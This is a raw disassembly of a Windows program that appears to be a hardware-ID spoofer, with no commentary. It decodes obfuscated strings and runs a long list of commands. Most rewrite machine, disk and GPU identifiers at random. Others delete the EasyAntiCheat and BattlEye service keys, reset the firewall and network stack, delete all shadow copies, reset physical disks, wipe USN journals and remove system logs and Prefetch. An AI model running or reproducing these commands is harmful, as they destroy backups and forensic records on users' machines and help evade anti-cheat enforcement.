xor byte [rsp + 0x1f8e], 0x3d
xor byte [rsp + 0x1f8f], 0x3e
xor byte [rsp + 0x1f90], 0x3f
xor byte [rsp + 0x1f91], 0x40
xor byte [rsp + 0x1f92], 0x41
xor byte [rsp + 0x1f93], 0x42
xor byte [rsp + 0x1f94], 0x43
xor byte [rsp + 0x1f95], 0x44
xor byte [rsp + 0x1f96], 0x45
xor byte [rsp + 0x1f97], 0x46
xor byte [rsp + 0x1f98], 0x47
xor byte [rsp + 0x1f99], 0x48
xor byte [rsp + 0x1f9a], 0x49
xor byte [rsp + 0x1f9b], 0x4a
xor byte [rsp + 0x1f9c], 0x4b
xor byte [rsp + 0x1f9d], 0x4c
xor byte [rsp + 0x1f9e], 0x4d
xor byte [rsp + 0x1f9f], 0x4e
xor byte [rsp + 0x1fa0], 0x4f
xor byte [rsp + 0x1fa1], 0x50
xor byte [rsp + 0x1fa2], 0x51
xor byte [rsp + 0x1fa3], 0x52
xor byte [rsp + 0x1fa4], 0x53
xor byte [rsp + 0x1fa5], 0x54
xor byte [rsp + 0x1fa6], 0x55
xor byte [rsp + 0x1fa7], 0x56
xor al, 0x57
mov byte [rsp + 0x1fa8], al
lea rdx, [rsp + 0x1f88]
lea rcx, [rsp + 0x14e8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [str.EU_SI]
vmovups ymmword [rsp + 0x2ae5], ymm0
vmovups xmm1, xmmword [0x1401bf170]
vmovups xmmword [rsp + 0x2b05], xmm1
vmovsd xmm0, qword [0x1401bf180]
vmovsd qword [rsp + 0x2b15], xmm0
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r10d
mov eax, r10d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x2ae5], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2ae6], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2ae7], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2ae8], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2ae9], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2aea], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2aeb], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2aec], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2aed], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2aee], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2aef], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x2af0], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x2af1], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x2af2], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x2af3], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x2af4], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x2af5], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2af6], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2af7], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2af8], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x2af9], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x2afa], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x2afb], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2afc], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2afd], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x2afe], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x2aff], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x2b00], al
add r10d, 0x1c
cmp r10d, 0x38
jl 0x1400f86c0
lea rdx, [rsp + 0x2ae5]
lea rcx, [rsp + 0x1508]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bf188]
vmovups ymmword [rsp + 0x205e], ymm0
mov eax, dword [0x1401bf1a8]
mov dword [rsp + 0x207e], eax
movzx ecx, byte [0x1401bf1ac]
mov byte [rsp + 0x205e], 0x72
xor byte [rsp + 0x205f], 0x38
xor byte [rsp + 0x2060], 0x39
xor byte [rsp + 0x2061], 0x3a
xor byte [rsp + 0x2062], 0x3b
xor byte [rsp + 0x2063], 0x3c
xor byte [rsp + 0x2064], 0x3d
xor byte [rsp + 0x2065], 0x3e
xor byte [rsp + 0x2066], 0x3f
xor byte [rsp + 0x2067], 0x40
xor byte [rsp + 0x2068], 0x41
xor byte [rsp + 0x2069], 0x42
xor byte [rsp + 0x206a], 0x43
xor byte [rsp + 0x206b], 0x44
xor byte [rsp + 0x206c], 0x45
xor byte [rsp + 0x206d], 0x46
xor byte [rsp + 0x206e], 0x47
xor byte [rsp + 0x206f], 0x48
xor byte [rsp + 0x2070], 0x49
xor byte [rsp + 0x2071], 0x4a
xor byte [rsp + 0x2072], 0x4b
xor byte [rsp + 0x2073], 0x4c
xor byte [rsp + 0x2074], 0x4d
xor byte [rsp + 0x2075], 0x4e
xor byte [rsp + 0x2076], 0x4f
xor byte [rsp + 0x2077], 0x50
xor byte [rsp + 0x2078], 0x51
xor byte [rsp + 0x2079], 0x52
xor byte [rsp + 0x207a], 0x53
xor byte [rsp + 0x207b], 0x54
xor byte [rsp + 0x207c], 0x55
xor byte [rsp + 0x207d], 0x56
xor al, 0x57
mov byte [rsp + 0x207e], al
xor byte [rsp + 0x207f], 0x58
xor byte [rsp + 0x2080], 0x59
xor byte [rsp + 0x2081], 0x5a
xor cl, 0x5b
mov byte [rsp + 0x2082], cl
lea rdx, [rsp + 0x205e]
lea rcx, [rsp + 0x1528]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea r15, [rsp + 0x4678]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], r15
mov rdi, qword [r15]
mov rax, rdi
xor rax, rcx
mov qword [rsp + 0x70], rax
mov qword [r15], 0
lea rcx, [rsp + 0x4678]
call fcn.140075e00
mov rcx, qword [rsp + 0x4678]
call fcn.140075e00
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
lea rcx, [rsp + 0x1548]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetControlComputerNameActiveComputerName__v_ComputerName__t_REG_SZ__d__random___f__nul
lea rcx, [rsp + 0x1568]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1588]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetControlSystemInformation__v_ComputerHardwareIds__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x15a8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware___Profiles0001__v_HwProfileGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x15c8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_MachineId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x15e8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftSQMClient__v_WinSqmFirstSessionStartTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1608]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_MachineGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1628]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftCryptography__v_GUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1648]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMHardwareConfig__v_LastConfig__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1668]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_ClientUUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1688]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobal__v_PersistenceIdentifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x16a8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWARENVIDIA___CorporationGlobalCoProcManager__v_ChipsetMatchID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x16c8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___0Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x16e8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMHARDWAREDEVICEMAPScsiScsi___Port___1Scsi___Bus___0Target___Id___0Logical___Unit___Id___0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1708]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral0__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1728]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMHARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral1__v_Identifier__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1748]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMControlSet001ServicesBasicDisplayVideo__v_VideoID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
lea rcx, [rsp + 0x1768]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
lea rcx, [rsp + 0x1788]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSystemCurrentControlSetServicesTcpipParameters__v_Domain__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
lea rcx, [rsp + 0x17a8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSystemCurrentControlSetControlDevQuery6__v_UUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x17c8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMCurrentControlSetServicesTcpipParameters__v_NV___Hostname__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x17e8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallTime__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1808]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_InstallDate__t_REG_QWORD__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1828]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_ProductId__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
lea rcx, [rsp + 0x1848]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildGUID__t_REG_SZ__d__random__random___random__random___random__random___f__nul__nul
lea rcx, [rsp + 0x1868]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLab__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1888]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMSoftwareMicrosoft__v_BuildLabEx__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x18a8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_AccountDomainSid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x18c8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_PingID__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x18e8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindowsCurrentVersionWindowsUpdate__v_SusClientId__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1908]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersionTracingMicrosoftProfileProfile__v_Guid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1928]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOwner__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1948]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_RegisteredOrganization__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1968]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_BuildBranch__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1988]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x19a8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSOFTWAREMicrosoftWindows___NTCurrentVersion__v_DigitalProductId4__t_REG_BINARY__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x19c8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMControlSet001ServicesmouhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x19e8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMControlSet001ServiceskbdhidParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1a08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBHUB3Parameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1a28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_add_HKLMSYSTEMControlSet001ServicesUSBXHCIParameters__v_WppRecorder_TraceGuid__t_REG_SZ__d__random__random___random__random___random__random___f__nul
lea rcx, [rsp + 0x1a48]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMMountedDevices__f__nul
lea rcx, [rsp + 0x1a68]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucketVolume__f__nul
lea rcx, [rsp + 0x1a88]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume__f__nul
lea rcx, [rsp + 0x1aa8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2__f__nul
lea rcx, [rsp + 0x1ac8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket__v_LastEnum__f__nul
lea rcx, [rsp + 0x1ae8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSOFTWAREMicrosoftDfrgStatistics__f__nul
lea rcx, [rsp + 0x1b08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_AcpiData__f__nul
lea rcx, [rsp + 0x1b28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_BiosData__f__nul
lea rcx, [rsp + 0x1b48]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_RegistersData__f__nul
lea rcx, [rsp + 0x1b68]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMCurrentControlSetServicesmssmbiosData__v_SMBiosData__f__nul
lea rcx, [rsp + 0x1b88]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMHARDWAREDESCRIPTIONSystemCentralProcessor0__f__nul
lea rcx, [rsp + 0x1ba8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMControlSet001ServicesEasyAntiCheat__f__nul
lea rcx, [rsp + 0x1bc8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.reg_delete_HKLMSYSTEMControlSet001ServicesBEService__f__nul
lea rcx, [rsp + 0x1be8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.sc_stop_winmgmt__nul
lea rcx, [rsp + 0x1c08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.sc_start_winmgmt__nul
lea rcx, [rsp + 0x1c28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.net_stop_winmgmt__y__nul
lea rcx, [rsp + 0x1c48]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.net_start_winmgmt__y__nul
lea rcx, [rsp + 0x1c68]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.ipconfig__flushdns__nul
lea rcx, [rsp + 0x1c88]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_int_ip_reset__nul
lea rcx, [rsp + 0x1ca8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_int_reset_all__nul
lea rcx, [rsp + 0x1cc8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_int_ipv4_reset__nul
lea rcx, [rsp + 0x1ce8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_int_ipv6_reset__nul
lea rcx, [rsp + 0x1d08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_winsock_reset__nul
lea rcx, [rsp + 0x1d28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_advfirewall_reset__nul
lea rcx, [rsp + 0x1d48]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.netsh_winsock_reset_catalog__nul
lea rcx, [rsp + 0x1d68]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.powershell_Reset_PhysicalDisk___nul
lea rcx, [rsp + 0x1d88]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.powershell_vssadmin_delete_shadows__all__nul
lea rcx, [rsp + 0x1da8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.fsutil_usn_deletejournal__n_C:__nul
lea rcx, [rsp + 0x1dc8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.fsutil_usn_deletejournal__n_D:__nul
lea rcx, [rsp + 0x1de8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.fsutil_usn_deletejournal__n_E:__nul
lea rcx, [rsp + 0x1e08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.fsutil_usn_deletejournal__n_F:__nul
lea rcx, [rsp + 0x1e28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.del__s__f__q_C:WindowsSystem32_restoreMachineGuid.txt__nul
lea rcx, [rsp + 0x1e48]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.del__s__f__q_C:System_Volume_InformationIndexerVolumeGuid__nul
lea rcx, [rsp + 0x1e68]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.del__s__f__q_C:System_Volume_Information_tracking.log__nul
lea rcx, [rsp + 0x1e88]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.del__s__f__q_C:WindowsINF_setupapi.dev.log__nul
lea rcx, [rsp + 0x1ea8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.del__s__f__q_C:WindowsINF_setupapi.setup.log__nul
lea rcx, [rsp + 0x1ec8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.rmdir__s__q_C:Windows_temp__nul
lea rcx, [rsp + 0x1ee8]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.rmdir__s__q_C:Users_username_AppDataLocalTemp__nul
lea rcx, [rsp + 0x1f08]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rdx, str.rmdir__s__q_C:WindowsPrefetch__nul
lea rcx, [rsp + 0x1f28]
call fcn.14006d660
mov rcx, rax
call fcn.140105120
lea rcx, [rsp + 0x4678]
call fcn.140075ea0
mov rcx, qword [rsp + 0x4678]
call fcn.140075ea0
call fcn.140108530
call fcn.1400ff190
call fcn.1401178b0
call fcn.140108650
mov ecx, 1
call fcn.14019eb90
mov rbx, rax
mov qword [rsp + 0x4688], rax
test rax, rax
je 0x1400f967b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
jmp 0x1400f967d
xor ebx, ebx
mov rcx, rbx
call fcn.140103960
call fcn.140130d80
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x1f48], xmm0
vpxor xmm1, xmm1, xmm1
